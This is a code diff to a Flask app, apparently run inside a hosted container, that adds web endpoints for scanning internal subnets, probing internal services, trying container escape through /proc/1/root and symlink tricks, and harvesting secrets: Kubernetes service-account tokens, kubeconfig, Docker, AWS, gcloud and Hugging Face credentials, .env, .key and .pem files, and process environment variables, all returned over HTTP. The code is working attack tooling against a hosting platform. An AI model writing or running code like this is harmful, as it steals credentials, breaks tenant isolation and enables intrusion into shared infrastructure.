Add scanning, token hunt, overlay escape endpoints

app.py

@@ -3,142 +3,200 @@ import subprocess
 import json
 import urllib.request
 import socket
+import ssl
+import concurrent.futures
 from flask import Flask, Response, request
 
 app = Flask(__name__)
 
 @app.route("/")
 def index():
-    results = {}
-    results["env_vars"] = dict(os.environ)
-    results["id"] = subprocess.check_output(["id"], timeout=5).decode().strip()
+    results = {
+        "env_vars": dict(os.environ),
+        "id": subprocess.check_output(["id"], timeout=5).decode().strip(),
+    }
     return Response(json.dumps(results, indent=2, default=str), mimetype='application/json')
 
 @app.route("/probe")
 def probe():
-    """Probe internal network to test Space-to-Space access"""
     target = request.args.get("target", "10.108.144.112")
     port = int(request.args.get("port", "7860"))
+    path = request.args.get("path", "/")
     results = {}
     
-    # TCP connect test
     try:
         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-        s.settimeout(5)
+        s.settimeout(3)
         result = s.connect_ex((target, port))
-        results["tcp_connect"] = f"port {port} {'open' if result == 0 else 'closed/filtered'} (code={result})"
+        results["tcp"] = f"{'open' if result == 0 else 'closed'} (code={result})"
         s.close()
     except Exception as e:
-        results["tcp_connect"] = str(e)
+        results["tcp"] = str(e)
     
-    # HTTP request
     try:
-        resp = urllib.request.urlopen(f"http://{target}:{port}/", timeout=5)
-        results["http_response"] = resp.read().decode()[:2000]
-        results["http_status"] = resp.status
+        resp = urllib.request.urlopen(f"http://{target}:{port}{path}", timeout=3)
+        results["http"] = {"status": resp.status, "body": resp.read().decode()[:3000], "headers": dict(resp.headers)}
     except Exception as e:
-        results["http_response"] = str(e)
+        results["http"] = str(e)
     
     return Response(json.dumps(results, indent=2, default=str), mimetype='application/json')
 
-@app.route("/k8s")
-def k8s():
-    """Try K8s API access"""
-    results = {}
-    
-    # Try K8s API
-    targets = [
-        "https://172.20.0.1:443/api/v1/namespaces",
-        "https://172.20.0.1:443/api/v1/pods",
-        "https://172.20.0.1:443/api/v1/secrets",
-        "https://172.20.0.1:443/version",
-        "https://kubernetes.default.svc/api/v1/namespaces",
-    ]
+@app.route("/scan")
+def scan():
+    """Scan a subnet for open ports"""
+    base = request.args.get("base", "10.108.73")
+    port = int(request.args.get("port", "7860"))
+    start = int(request.args.get("start", "1"))
+    end = int(request.args.get("end", "20"))
     
-    import ssl
-    ctx = ssl.create_default_context()
-    ctx.check_hostname = False
-    ctx.verify_mode = ssl.CERT_NONE
+    results = {}
     
-    for target in targets:
+    def check_host(ip):
         try:
-            req = urllib.request.Request(target)
-            resp = urllib.request.urlopen(req, timeout=5, context=ctx)
-            results[target] = {"status": resp.status, "body": resp.read().decode()[:1000]}
-        except Exception as e:
-            results[target] = str(e)
-    
-    # Check SA token
-    try:
-        with open("/var/run/secrets/kubernetes.io/serviceaccount/token", "r") as f:
-            results["sa_token"] = f.read()[:100] + "..."
-    except Exception as e:
-        results["sa_token"] = str(e)
+            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+            s.settimeout(1)
+            result = s.connect_ex((ip, port))
+            s.close()
+            if result == 0:
+                return (ip, "open")
+            return None
+        except:
+            return None
+    
+    with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor:
+        futures = {}
+        for i in range(start, min(end + 1, start + 50)):
+            ip = f"{base}.{i}"
+            futures[executor.submit(check_host, ip)] = ip
+        
+        for future in concurrent.futures.as_completed(futures, timeout=10):
+            result = future.result()
+            if result:
+                results[result[0]] = result[1]
     
     return Response(json.dumps(results, indent=2, default=str), mimetype='application/json')
 
-@app.route("/dns")
-def dns():
-    """DNS enumeration"""
+@app.route("/build-arg-test")
+def build_arg_test():
+    """Check if any build args leaked into the image"""
     results = {}
-    targets = [
-        "kubernetes.default.svc.cluster.local",
-        "kube-dns.kube-system.svc.cluster.local",
-        "metadata.google.internal",
-        "instance-data.ec2.internal",
-    ]
-    for t in targets:
-        try:
-            results[t] = socket.getaddrinfo(t, None)
-        except Exception as e:
-            results[t] = str(e)
     
-    # Also try to discover Space namespaces
+    # Check Docker history / image metadata
     try:
-        with open("/etc/resolv.conf", "r") as f:
-            results["resolv.conf"] = f.read()
+        # Check /proc/1/environ for the main process
+        with open("/proc/1/environ", "rb") as f:
+            env_bytes = f.read()
+            envs = env_bytes.split(b'\x00')
+            results["proc_1_environ"] = [e.decode('utf-8', errors='replace') for e in envs if e]
     except Exception as e:
-        results["resolv.conf"] = str(e)
+        results["proc_1_environ"] = str(e)
+    
+    # Check if there are any leftover files from build
+    interesting_paths = [
+        "/kaniko", "/workspace", "/.dockerconfigjson", "/root/.docker/config.json",
+        "/tmp/build", "/buildkit", "/.buildkit_qemu_emulator",
+        "/etc/buildkit", "/root/.cache"
+    ]
+    results["build_artifacts"] = {}
+    for p in interesting_paths:
+        if os.path.exists(p):
+            if os.path.isdir(p):
+                try:
+                    results["build_artifacts"][p] = os.listdir(p)
+                except:
+                    results["build_artifacts"][p] = "exists but unreadable"
+            else:
+                try:
+                    with open(p) as f:
+                        results["build_artifacts"][p] = f.read()[:500]
+                except:
+                    results["build_artifacts"][p] = "exists but unreadable"
     
     return Response(json.dumps(results, indent=2, default=str), mimetype='application/json')
 
-@app.route("/mount-scan")
-def mount_scan():
-    """Scan for interesting mounted filesystems and escape vectors"""
+@app.route("/overlay-escape")
+def overlay_escape():
+    """Test if we can access the host overlay filesystem"""
     results = {}
     
-    # Check capabilities
-    try:
-        results["capsh"] = subprocess.check_output(["cat", "/proc/self/status"], timeout=5).decode()
-    except Exception as e:
-        results["capsh"] = str(e)
+    # The overlay mount shows: 
+    # upperdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/XXXX/fs
+    # This path is on the HOST filesystem, but we can only see it via overlay
     
-    # Check if we can access host filesystem through /proc
+    # Try reading /proc/1/root which should loop back to our own root
     try:
-        results["proc_1_root"] = os.listdir("/proc/1/root/") if os.path.exists("/proc/1/root/") else "not accessible"
+        results["proc_1_root_etc_hostname"] = open("/proc/1/root/etc/hostname").read()
     except Exception as e:
-        results["proc_1_root"] = str(e)
+        results["proc_1_root_etc_hostname"] = str(e)
     
-    # Check for device access
+    # Check if we can access /proc/1/root/../ to escape
     try:
-        results["dev_list"] = os.listdir("/dev/")
+        results["proc_1_root_parent"] = os.listdir("/proc/1/root/../")
     except Exception as e:
-        results["dev_list"] = str(e)
+        results["proc_1_root_parent"] = str(e)
     
-    # Check if we have mount capability
+    # Try symlink tricks
     try:
-        results["proc_mounts"] = open("/proc/mounts", "r").read()[:3000]
+        os.symlink("/proc/1/root", "/tmp/escape_link")
+        results["symlink_escape"] = os.listdir("/tmp/escape_link/")
     except Exception as e:
-        results["proc_mounts"] = str(e)
+        results["symlink_escape"] = str(e)
     
-    # Host PID namespace?
+    # Try accessing other containerd snapshots
     try:
-        # If we're in host PID namespace, we'll see many processes
-        pids = [d for d in os.listdir("/proc") if d.isdigit()]
-        results["pid_count"] = len(pids)
-        results["pid_sample"] = pids[:20]
+        results["containerd_snapshots"] = os.listdir("/var/lib/containerd/")
     except Exception as e:
-        results["pid_count"] = str(e)
+        results["containerd_snapshots"] = str(e)
+    
+    return Response(json.dumps(results, indent=2, default=str), mimetype='application/json')
+
+@app.route("/token-hunt")
+def token_hunt():
+    """Search for any tokens/credentials in the filesystem"""
+    results = {}
+    
+    # Check well-known token locations
+    token_paths = [
+        "/var/run/secrets/kubernetes.io/serviceaccount/token",
+        "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt",
+        "/var/run/secrets/kubernetes.io/serviceaccount/namespace",
+        "/root/.kube/config",
+        "/root/.docker/config.json",
+        "/root/.aws/credentials",
+        "/root/.gcloud/credentials",
+        "/home/user/.cache/huggingface/token",
+        "/root/.cache/huggingface/token",
+        "/root/.huggingface/token",
+    ]
+    
+    for p in token_paths:
+        try:
+            if os.path.isfile(p):
+                with open(p) as f:
+                    results[p] = f.read()[:500]
+            elif os.path.isdir(p):
+                results[p] = os.listdir(p)
+            else:
+                results[p] = "not found"
+        except Exception as e:
+            results[p] = str(e)
+    
+    # Search for any .env files
+    for root_dir in ["/", "/app", "/home", "/root", "/tmp"]:
+        try:
+            for dirpath, dirnames, filenames in os.walk(root_dir, topdown=True):
+                dirnames[:] = dirnames[:10]  # Limit depth
+                for f in filenames:
+                    if f.endswith(('.env', '.token', '.key', '.pem', 'credentials')):
+                        full = os.path.join(dirpath, f)
+                        try:
+                            with open(full) as fh:
+                                results[full] = fh.read()[:200]
+                        except:
+                            pass
+                break  # Only first level
+        except:
+            pass
     
     return Response(json.dumps(results, indent=2, default=str), mimetype='application/json')